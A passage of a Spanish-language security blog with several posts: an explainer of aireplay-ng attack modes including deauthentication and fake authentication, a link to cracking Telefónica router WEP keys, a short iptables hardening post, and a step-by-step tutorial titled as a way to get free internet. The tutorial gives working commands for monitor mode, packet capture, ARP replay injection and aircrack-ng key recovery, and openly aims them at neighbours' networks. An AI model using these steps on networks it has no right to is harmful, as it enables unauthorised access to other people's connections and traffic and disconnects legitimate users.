Vamos por partes, normalmente cuando la cantidad de tráfico capturado es poca pero no nula, para acelerar el proceso de captura de datos se suele usar el modo –arpreplay (-3). En este modo se capturan los paquetes ARP lanzados por un cliente legítimo y se vuelven a inyectar en la red esperando que el punto de acceso nos responda con tramas cuyos IV sean diferentes a los que ya tenemos. Es sin duda el método estándar. Una variación del mismo es el modo –interactive (-2), que hace exactamente lo mismo pero permite elegir al usuario que paquete reinyectar.

Otro método muy útil para cuando existen clientes legítimos conectados es el –deauth (-0). Esto desconecta de la wifi a los clientes legítimos, forzándolos a iniciar de nuevo el proceso de autenticación que es en donde más tramas útiles se capturan. La combinación de este método con el anterior (–arpreplay) suele ser la más efectiva.

Sin embargo, para llevar a cabo este ataque es necesario que nuestro equipo esté asociado a la wifi víctima, ya que si no la inyección de paquetes no será posible (el punto de acceso rechazará cualquier conexión de un equipo que no se haya asociado previamente). Ahí es donde entra en juego el modo –fakeauth (-1). Usándolo podemos conectar un cliente falso a la red wifi y luego reinyectar los paquetes ARP que hayamos capturado. Normalmente los drivers de las tarjetas wifi no nos permiten hacer este tipo de inyección, así pues, la mayoría de las veces tendremos que recurrir a drivers no oficiales para lograr nuestro objetivo.

Por último sólo me queda comentar los modos –chopchop (-4) y –fragment (-5). Estos modos avanzados que en principio no son útiles para romper claves wep, nos pueden permitir crear paquetes especiales que luego podemos usar para forzar que el punto de acceso genere paquetes útiles para nuestros fines. Estos métodos nos son útiles cuando no existen clientes legítimos conectados a la red.

Pues espero que esto ayude a aclarar un poco lo que puede hacer el aireplay-ng. En el próximo artículo le daremos un uso práctico ;-)

Categorías: seguridad | 9 comentarios

Romper las claves WEP de los routers de Telefónica

Febrero 25th, 2008

Todos habréis oído que las claves WEP que Teléfonica coloca a sus routers no son totalmente arbitrarias. Hace tiempo que pensaba escribir un artículo sobre el tema y cómo conseguir de forma  sencilla acceso a las redes así protegidas. Pues bien, ya no lo voy a escribir. El otro día me encontré con un blogger que se me había adelantado… quizás cuando tenga un rato libre haga una revisión de su artículo, hay cosas que creo se podrían mejorar en el método que él expone, pero sin duda lo encontraréis interesante: Romper claves wep de teléfonica

Categorías: interesante, seguridad | 2 comentarios

Seguridad básica con IPTables

Enero 11th, 2008

Esta semana he visto como un importante número de sistemas eran comprometidos de manera sistemática por no haber sido parcheados en su momento. Este tipo de ataques suelen ser realizados por scripts que operan de manera autónoma, comprometen el sistema usando algún bug no parcheado, instalan alguna puerta trasera para permitir su acceso posterior y algún bot que comprometa otras máquinas usando la actual. Nada complicado, ni siquiera se preocupan por conseguir privelegios de administrador. Pero eso no importa, la máquina está comprometida y en cualquier momento el atacante puede acceder a ella para intentar elevar sus privilegios. Por otra parte, nuestra máquina infectada podría estar siendo usada para comprometer otras, lo que ya en sí es un problema importante.

Huelga decir que lo ideal sería tener siempre nuestro sistema actualizado y parcheado, pero me temo que es casi una utopía. En el día a día las cosas no funcionan así, no hay un departamente encargado de la seguridad de los sistemas y habitualmente los administradores tienen tantas cosas que hacer que en lo último que piensan es aplicar un parche a un servicio que funciona perfectamente.

Así pues se hace necesario añadir una nueva capa de seguridad, que aunque no elimina la necesidad de parchear nuestros sistemas cuando es descubierto un nuevo bug, sí que minimiza el impacto de un posible compromiso. Me estoy refieriendo a los cortafuegos. Si nuestra máquina está protegida por un cortafuegos correctamente configurado, éste debería impedir el acceso a nuevos puertos abiertos (puertas trasearas) y además debería cortar cualquier conexión saliente hacia hosts/servicios no permitidos (bot malicioso).

No voy a hablar de arquitecturas de red, de DMZs, ni de la mejor manera de organizar nuestras redes para que sean lo más segura posibles. Y no voy a hablar de esto porque nuestras redes ya están montadas y por mucho que yo os diga no se van a cambiar. Si por el contrario estáis pensando en diseñar vuestra red, hacedme caso e incluid una DMZ, ya me lo agradeceréis.

Bueno, a lo que iba, si tenéis algún servidor con presencia en Internet y no está dentro de una DMZ, lo mejor es protegerlo con un pequeño cortafuegos que sólo permita el acceso a los servicios legítimos y que, además, impida cualquier conexión saliente ilegítima. He escrito un pequeño script IPTables a modo de plantilla (muy sencillo) que os invito a modificar y adaptar a vuestras necesidades. No se trata de un script para servidores que operen como enrutadores, si no para servidores finales que ofrezcan servicios de usuario; y por supuesto, no es un firewall personal, es demasiado restrictivo para eso.

En fin, espero que os sea tan útil como a mí.


Descargar Plantailla IPTables

Categorías: descargas, linux, seguridad | No hay comentarios

HOWTO: Cómo romper claves WEP (a.k.a. Cómo tener internet gratis)

Diciembre 15th, 2007

Parece que todo el mundo sabe que las claves WEP son débiles y que pueden romperse con relativa facilidad, pero lo cierto es que pocos conocen por qué esto es posible y cómo hacerlo.

En mi afán por mostrar los senderos oscuros de las redes y sobre todo porque muchos me lo han pedido, aquí está el tutorial sobre cómo romper claves WEP para uso y disfrute del personal.

Antes que nada un poco de teoría, el protocolo de seguridad WEP trata de incorporar a las redes inalámbricas una seguridad equivalente a la que podemos encontrar en las redes cableadas, de ahí su nombre, Wired Equivalent Privacy (Privacidad Equivalente al Cable). Este protocolo permite cifrar las conexiones entre los clientes y el punto de acceso (AP), protegiendo así la confidencialidad e integridad de los datos.

El protocolo WEP requiere que las estaciones y el AP compartan una clave secreta antes de comenzar la comunicación, éste es uno de sus grandes puntos flacos, hay que comunicar por otra vía la clave a los distintos clientes lo que genera una serie de problemas importantes, entre ellos cabe destacar lo costoso de cambiar la clave, hay que informar a todos los clientes de la nueva lo que, según el número de los mismos, puede que no sea una tarea trivial. Esto lleva a que las claves WEP se cambien con poca frecuencia.

Cuando una máquina quiere conectar con un punto de acceso que use WEP, ésta realiza una petición inicial de asociación al AP, el cual a su vez responde con un texto aleatorio (desafío). El cliente deberá cifrar dicho texto con su clave compartida y enviar la respuesta al AP. Éste descifrará el texto con su propia clave y la compara con la enviada, si son iguales, se le permite el acceso al cliente.

El algoritmo usado para cifrar la comunicación WEP es conocido como RC4. Ya sabemos que una parte de la clave usada en el algoritmo es la clave compartida, pero para impedir que un atacante puede recolectar datos suficientes para romper la clave, una parte de la misma es dinámica y cambia en cada trama. A esta parte se le llama IV (vector de inicialización) y según el estándar debe ser distinta para cada paquete enviado. Por lo tanto, la clave final usada para cifrar/descifrar es la concatenación del IV con la clave compartida. El IV siempre tiene un tamaño de 24bits, ese es el motivo de por qué la clave secreta deberá tener un tamaño de 40bits (en claves de 64bits) o de 104 (en claves de 128bits), aclaro esto porque más de una vez me he enfrentado a la discusión de por qué si la clave es de 128bits sólo se pueden escribir 13 caracteres (13*8=104) y no 16 (16*8=128) como sería de esperar.

El IV es sólo conocido por uno de los extremos, así que es necesario enviarlo sin cifrar al otro. Es decir, junto con los datos cifrado se envía el IV, así el otro extremo puede reconstruir la clave secreta a partir de la que iniciar el proceso de descifrado. Existen varias debilidades asociadas al IV que correctamente explotadas puedan llevar al compromiso de la clave WEP. No quiero seguirme entreteniendo en esto, pero para acabar diré que si se consiguen capturar los suficientes paquetes WEP es posible llevar a cabo un ataque que permitirá recuperar la clave compartida, para los que quieran ampliar información sobre el tema recomiendo el artículo Protocolo de seguridad Wep y si estáis interesado en el criptoanálisis del ataque, nada mejor que el documento liberado por los autores del descubrimiento: Weaknesses in the Key Scheduling Algorithm of RC4

Modo Monitor

Y ahora al tajo, vamos a reventar unas cuantas claves WEP. Para hacer esto es condición indispensable que vuestra tarjeta de red sea capaz de entrar en modo Monitor. Algunas tarjetas son incapaces de entrar en este modo y en otras es posible que no tengáis los controladores adecuados. En cualquier caso, lo primero es saber si la tarjeta puede entrar en modo monitor o no, para averiguarlo escribimos algo parecido a lo siguiente (mi tarjeta de red está en la interfaz eth2, cambiadlo según corresponda)

# iwconfig eth2 mode monitor

# iwconfig eth2

eth2 unassociated ESSID:”" Nickname:”none”
Mode:Monitor Frequency=2.437 GHz Access Point: 72:00:00:00:00:27
Bit Rate:0 kb/s Tx-Power:16 dBm
Retry limit:15 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:9273 Missed beacon:0

Si podéis leer Mode:Monitor en la respuesta al segundo comando, vuestros vecinos pueden ir empezando a temblar.

Método 1: AirSnort

A partir de este punto contamos con varias herramientas que nos permiten llevar a cabo el ataque hacia claves WEP. Si no os queréis complicar la vida, lo más fácil es usar AirSnort, una utilidad que cuenta con una bonita GUI y que nos basta con darle a comenzar para que ella solita haga todo el trabajo. Eso sí, hay que tener paciencia pues para romper una clave hacen falta capturar entre 4,000,000 y 6,000,000 paquetes de datos.

Captura AirSnort

Método 2: aircrack-ng

Para los que queráis esperar un poco menos y nos os importe prescindir de las interfaces gráficas, tenéis el kit aircrack-ng. Éste añade varias mejoras al ataque clásico (FMS) y permite recuperar la clave capturando entre 500,000 y 2,000,000 paquetes de datos. Además incluye una maravillosa utilidad llamada aireplay-ng que permite inyectar tráfico en la red wifi con el objetivo de que se generan más paquetes de datos y así obtener antes la clave, esto es ideal cuando estamos ante una red con poco tráfico.

Veamos como usar el aircrack-ng:

1. Lo primero es capturar todo el tráfico de la red:

# airodump-ng -w datos eth2

airdodump-ng cuenta con muchas opciones entre las que cabe destacar –channel, que nos permite capturar sólo los datos que se emitan por un canal determinado. Recomiendo usarla siempre que podamos.

Lo siguiente es poner el aireplay-ng a funcionar para generar más tráfico de red. Esta utilidad tiene varios modos de ataque y la verdad es que necesitaría otro post para hablar de todas las posibilidades que tiene. En principio voy a comentar un ataque muy efectivo y quizás otro día hable de sus multiples capacidades. El ataque que vamos a usar se llama ARP Injection, y consiste simplemente en enviar peticiones ARP al AP con el objetivo de que responda con nuevos paquetes de datos. Para esto es necesario conocer la MAC de un cliente ya conectado, pues lo que se hace este ataque es reenviar peticiones ARP capturadas con anterioridad a dicho cliente (obviamente el ataque fallará si no hay clientes conectados, aunque aireplay-ng también presenta soluciones a este problema, pero ya hablaremos de eso en otro momento).

# aireplay-ng –arpreplay -b 00:13:F7:64:10:27 -h 00:A0:C5:53:7F:9F -r datos-01.cap eth2

–arpreplay es el ataque de inyección de arp

-b es el BSSID del AP

-h es la MAC del cliente autenticado

-r es el fichero de datos que estamos capturando con el airodump-ng

Y ya por último sólo queda poner a funcionar el aircrack-ng, que será el que trate de encontrar la clave WEP:

# aircrack-ng datos-01.cap

Método 3: aircrack-ptw

Y cómo suele pasar con estas cosas, lo más importante es tener paciencia y suerte. Pero si la paciencia no es mucha, estáis de enhorabuena porque han descubierto nuevos sistemas para atacar las claves WEP, reduciendo el número de paquetes necesarios para recuperla a menos de 80000. Os dejo la url de los autores, la utilidad se llama aircrack-pwt y funciona de forma similar al aircrack-ng, de hecho necesitareis el kit aircrack-ng para realizar el ataque completo.

Pues no os quejaréis, ya sabéis todo lo que necesitáis saber… a disfrutar!

Categorías: seguridad, tutoriales | 352 comentarios